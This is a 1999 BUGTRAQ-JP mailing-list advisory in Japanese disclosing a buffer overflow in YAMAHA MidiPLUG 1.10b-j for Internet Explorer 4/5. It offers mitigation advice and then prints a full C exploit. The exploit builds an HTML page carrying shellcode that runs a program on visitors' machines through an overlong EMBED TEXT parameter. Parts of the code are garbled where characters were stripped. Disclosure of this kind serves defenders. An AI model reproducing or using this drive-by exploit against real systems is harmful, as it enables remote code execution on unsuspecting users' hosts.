Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.25.07 Message-ID: <381CE5B92B2.300CSHADOWPENGUIN@fox.nightland.net> Date: Mon, 1 Nov 1999 09:58:33 +0900 Reply-To: UNYUN Sender: BUGTRAQ-JP List From: UNYUN Subject: YAMAHA MidiPLUG 1.10b for IE4/5 Buffer Overflow Exploit X-To: BUGTRAQ-JP@SECURITYFOCUS.COM To: BUGTRAQ-JP@SECURITYFOCUS.COM UNYUN@ShadowPenguinSecurityです。 YAMAHA MidiPLUG 1.10b-j(for Windows IE4/5)にバッファオーバーフローによる セキュリティホールが存在します。EMBEDタグにおいてTEXT変数に長い文字列が指 定された HTMLを IE4/5で読み込み、MidiPLUGが実行された場合バッファオーバー フローが発生しています。このバッファオーバーフローはスタック上のローカル バッファを上書きし、RETアドレスの書き換えが可能となっており、TEXT変数中に 記述された任意のコードを実行させることができます。 MidiPLUG 1.10b-jを利用しているWindowsIE4/5ユーザーが攻撃コードの記述され たwebサイトを訪問した場合、攻撃コードが利用者ホストにおいて実行され、ウイ ルス感染、侵入、システム破壊等の重大な被害を受ける可能性があります。 この問題を回避するには、IEのセキュリティ設定において、ActiveXコントロール とプラグインの実行のチェックを外し無効にする(無効にすればMidiPLUGは利用 で来ませんので、MidiPLUGをアンインストールした方が良いかもしれません・・・) といった設定を行ってください。ディフォルト状態ですと警告ダイアログもなく 攻撃コードを受け付けてしまいます。 また、「無効にする」、「ダイアログを表示する」といった選択を行っていても、 ローカルに保存されているHTMLファイルを閲覧した場合は警告ダイアログもなく 攻撃コードを受け付けてしまいますので、ローカルで閲覧する場合は攻撃コードが ソース中に記述されていないか検査してから実行してください。 この問題をexploitを記述して検証しました。このコードは、MidiPLUG 1.10b-jを 利用している訪問者のホスト上で任意のプログラムを実行するHTMLファイルを生 成します。 なお、 http://shadowpenguin.backsection.net/tools/ex_midiplug.html に、以下のコードで生成されたhtmlファイルをアップしています。 MidiPLUG 1.10b-jがインストールされたWindows98(IE4/5)で標準のセキュリティ 設定が適用されている場合、welcome.exeが実行されます。 ---- /*============================================================================= YAMAHA MidiPLUG 1.10b-j for Windows98 IE4.0/5.0 exploit The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include #include #define MAXBUF 700 #define RETADR 256 unsigned int mems[]={ 0xbfe30000,0xbfe43000,0xbfe80000,0xbfe86000, 0xbfe90000,0xbfe96000,0xbfea0000,0xbfeb0000, 0xbfee0000,0xbfee5000,0xbff20000,0xbff47000, 0xbff50000,0xbff61000,0xbff70000,0xbffc6000, 0xbffc9000,0xbffe3000,0,0}; unsigned char exploit_code[200]={ 0x90,0xEB,0x50,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B, 0x4B,0x90,0x88,0x23,0xB8,0x50,0x57,0xF7,0xBF,0x80, 0xc4,0x20,0xFF,0xD0,0x43,0x90,0xB2,0xE0,0x90,0x28, 0x13,0x28,0x53,0x01,0x28,0x53,0x02,0x28,0x53,0x03, 0x28,0x53,0x04,0x28,0x53,0x05,0x53,0x50,0x32,0xE4, 0x83,0xC3,0x06,0x90,0x88,0x23,0xB8,0x28,0x4E,0xF7, 0xBF,0x80,0xc4,0x20,0xFF,0xD0,0x8B,0xF0,0x43,0x53, 0x90,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6, 0x90,0xEB,0xFD,0xE8,0xAB,0xFF,0xFF,0xFF,0x00 }; unsigned char cmdbuf[200]="MSVCRT.DLL.SYSTEM.WELCOME.EXE"; unsigned int search_mem(FILE *fp,unsigned char *st,unsigned char *ed, unsigned char c1,unsigned char c2) { unsigned char *p; unsigned int adr; for (p=st;p>8)&0xff)==0) continue; if (((adr>>16)&0xff)==0) continue; if (((adr>>24)&0xff)==0) continue; return(adr); } return(0); } main(int argc,char *argv[]) { FILE *fp; unsigned int i,ip; unsigned char buf[MAXBUF]; if (argc<2){ printf("usage %s output_htmlfile\n",argv[0]); exit(1); } if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE; fprintf(fp,">8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; strcat(exploit_code,cmdbuf); memcpy(buf,exploit_code,strlen(exploit_code)); buf[MAXBUF]=0; fprintf(fp,"%s\"\n>\n",buf); fclose(fp); printf("%s created.\n",argv[1]); return FALSE; } ----- The Shadow Penguin Security (http://shadowpenguin.backsection.net) Webmaster / UNYUN (shadowpenguin@backsection.net)